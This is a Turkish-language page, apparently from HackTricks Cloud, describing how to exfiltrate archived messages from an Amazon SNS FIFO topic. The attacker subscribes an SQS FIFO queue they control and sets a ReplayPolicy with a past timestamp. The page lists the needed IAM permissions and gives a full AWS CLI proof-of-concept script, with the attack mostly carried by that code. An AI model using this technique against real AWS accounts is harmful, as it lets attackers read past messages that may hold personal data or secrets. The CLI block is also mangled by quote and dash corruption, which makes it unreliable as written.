SNS FIFO Archive Replay Exfiltration via Attacker SQS FIFO Subscription

Tip

AWS Hacking’i öğrenin ve pratik yapın:HackTricks Training AWS Red Team Expert (ARTE)
GCP Hacking’i öğrenin ve pratik yapın: HackTricks Training GCP Red Team Expert (GRTE)
Az Hacking’i öğrenin ve pratik yapın: HackTricks Training Azure Red Team Expert (AzRTE)

HackTricks'i Destekleyin

Amazon SNS FIFO konu mesaj arşivlemesinin kötüye kullanılarak, aboneliğin ReplayPolicy’si ayarlanıp saldırgan kontrollü SQS FIFO kuyruğuna daha önce yayımlanmış mesajların yeniden oynatılması ve exfiltrate edilmesi.

  • Servis: Amazon SNS (FIFO topics) + Amazon SQS (FIFO queues)
  • Gereksinimler: Konunun ArchivePolicy etkin olmalı (mesaj arşivleme). Saldırgan konuya Subscribe olabilmeli ve aboneliği üzerinde attribute ayarlayabilmeli. Saldırgan bir SQS FIFO kuyruğuna sahip olmalı ve konuya mesaj göndermesine izin veren bir kuyruk politikası ekleyebilmeli.
  • Impact: Tarihsel mesajlar (abonelikten önce publish edilmiş olanlar) saldırgan endpointine teslim edilebilir. Yeniden oynatılan teslimatlar SNS zarfında Replayed=true ile işaretlenir.

Ön Koşullar

  • ArchivePolicy etkin bir SNS FIFO konusu: ArchivePolicy (ör. { "MessageRetentionPeriod": "2" } için 2 gün).
  • Saldırganın izinleri:
    • sns:Subscribe hedef konu üzerinde.
    • sns:SetSubscriptionAttributes oluşturulan abonelik üzerinde.
  • Saldırgan bir SQS FIFO kuyruğuna sahip olmalı ve konu ARN’sinden sns:SendMessage izni veren bir kuyruk politikası ekleyebilmeli.

Minimum IAM permissions

  • Konu üzerinde: sns:Subscribe.
  • Abonelik üzerinde: sns:SetSubscriptionAttributes.
  • Kuyruk üzerinde: politika için sqs:SetQueueAttributes ve kuyruk politikası ile konu ARN’sinden sns:SendMessage izinlendirmesi.

Attack: Replay archived messages to attacker SQS FIFO

Saldırgan, SQS FIFO kuyruğunu hedef SNS FIFO konusuna subscribe eder, sonra abonelik için ReplayPolicy’yi arşiv saklama penceresi içindeki geçmiş bir zamana ayarlar. SNS, yeni aboneliğe uyan arşivlenmiş mesajları hemen yeniden oynatır ve bunları Replayed=true ile işaretler.

Notlar:

  • ReplayPolicy’de kullanılan zaman damgası, konunun BeginningArchiveTime’ından >= olmalıdır. Daha önce ise API Invalid StartingPoint value döner.
  • SNS FIFO için Publish yaparken bir MessageGroupId belirtmelisiniz (veya dedup ID ya da ContentBasedDeduplication etkinleştirilmiş olmalı).
End-to-end CLI POC (us-east-1) ```bash REGION=us-east-1 # Compute a starting point; adjust later to >= BeginningArchiveTime if needed TS_START=$(python3 - << 'PY' from datetime import datetime, timezone, timedelta print((datetime.now(timezone.utc) - timedelta(minutes=15)).strftime('%Y-%m-%dT%H:%M:%SZ')) PY )

1) Create SNS FIFO topic with archiving (2-day retention)

TOPIC_NAME=htreplay$(date +%s).fifo TOPIC_ARN=$(aws sns create-topic –region “$REGION”
–cli-input-json ‘{“Name”:“’”$TOPIC_NAME“‘“,“Attributes”:{“FifoTopic”:“true”,“ContentBasedDeduplication”:“true”,“ArchivePolicy”:“{"MessageRetentionPeriod":"2"}”}}’
–query TopicArn –output text)

echo “Topic: $TOPIC_ARN”

2) Publish a few messages BEFORE subscribing (FIFO requires MessageGroupId)

for i in $(seq 1 3); do aws sns publish –region “$REGION” –topic-arn “$TOPIC_ARN”
–message “{"orderId":$i,"secret":"ssn-123-45-678$i"}”
–message-group-id g1 >/dev/null done

3) Create attacker SQS FIFO queue and allow only this topic to send

Q_URL=$(aws sqs create-queue –queue-name ht-replay-exfil-q-$(date +%s).fifo
–attributes FifoQueue=true –region “$REGION” –query QueueUrl –output text) Q_ARN=$(aws sqs get-queue-attributes –queue-url “$Q_URL” –region “$REGION”
–attribute-names QueueArn –query Attributes.QueueArn –output text)

cat > /tmp/ht-replay-sqs-policy.json <<JSON {“Version”:“2012-10-17”,“Statement”:[{“Sid”:“AllowSNSSend”,“Effect”:“Allow”,“Principal”:{“Service”:“sns.amazonaws.com”},“Action”:“sqs:SendMessage”,“Resource”:“$Q_ARN”,“Condition”:{“ArnEquals”:{“aws:SourceArn”:“$TOPIC_ARN”}}}]} JSON

Use CLI input JSON to avoid quoting issues

aws sqs set-queue-attributes –region “$REGION” –cli-input-json “$(python3 - << ‘PY’ import json, os print(json.dumps({ ‘QueueUrl’: os.environ[‘Q_URL’], ‘Attributes’: {‘Policy’: open(‘/tmp/ht-replay-sqs-policy.json’).read()} })) PY )”

4) Subscribe the queue to the topic

SUB_ARN=$(aws sns subscribe –region “$REGION” –topic-arn “$TOPIC_ARN”
–protocol sqs –notification-endpoint “$Q_ARN” –query SubscriptionArn –output text)

echo “Subscription: $SUB_ARN”

5) Ensure StartingPoint is >= BeginningArchiveTime

BEGIN=$(aws sns get-topic-attributes –region “$REGION” –topic-arn “$TOPIC_ARN” –query Attributes.BeginningArchiveTime –output text) START=${TS_START} if [ -n “$BEGIN” ]; then START=“$BEGIN”; fi

aws sns set-subscription-attributes –region “$REGION” –subscription-arn “$SUB_ARN”
–attribute-name ReplayPolicy
–attribute-value “{"PointType":"Timestamp","StartingPoint":"$START"}”

6) Receive replayed messages (note Replayed=true in the SNS envelope)

aws sqs receive-message –queue-url “$Q_URL” –region “$REGION”
–max-number-of-messages 10 –wait-time-seconds 10
–message-attribute-names All –attribute-names All

</details>

## Etki
**Potansiyel Etki**: Arşivleme etkinleştirilmiş bir SNS FIFO topic'e subscribe olabilen ve subscription'ına `ReplayPolicy` uygulayabilen bir attacker, sadece subscription oluşturulduktan sonra gönderilenler değil, o topic'e daha önce publish edilmiş geçmiş mesajları hemen replay edip exfiltrate edebilir. Teslim edilen mesajların SNS zarfında `Replayed=true` bayrağı bulunur.

> [!TIP]
> AWS Hacking'i öğrenin ve pratik yapın:<img src="../../../../../images/arte.png" alt="" style="width:auto;height:24px;vertical-align:middle;">[**HackTricks Training AWS Red Team Expert (ARTE)**](https://hacktricks-training.com/courses/arte)<img src="../../../../../images/arte.png" alt="" style="width:auto;height:24px;vertical-align:middle;">\
> GCP Hacking'i öğrenin ve pratik yapın: <img src="../../../../../images/grte.png" alt="" style="width:auto;height:24px;vertical-align:middle;">[**HackTricks Training GCP Red Team Expert (GRTE)**](https://hacktricks-training.com/courses/grte)<img src="../../../../../images/grte.png" alt="" style="width:auto;height:24px;vertical-align:middle;">\
> Az Hacking'i öğrenin ve pratik yapın: <img src="../../../../../images/azrte.png" alt="" style="width:auto;height:24px;vertical-align:middle;">[**HackTricks Training Azure Red Team Expert (AzRTE)**](https://hacktricks-training.com/courses/azrte)<img src="../../../../../images/azrte.png" alt="" style="width:auto;height:24px;vertical-align:middle;">
>
> <details>
>
> <summary>HackTricks'i Destekleyin</summary>
>
> - [**Abonelik planlarını**](https://github.com/sponsors/carlospolop) kontrol edin!
> - **Katılın** 💬 [**Discord group**](https://discord.gg/hRep4RUj7f) veya [**telegram group**](https://t.me/peass) veya **Twitter**'da bizi **takip edin** 🐦 [**@hacktricks_live**](https://twitter.com/hacktricks_live)**.**
> - **PR göndererek hacking tricks paylaşın:** [**HackTricks**](https://github.com/carlospolop/hacktricks) ve [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) github repos.
>
> </details>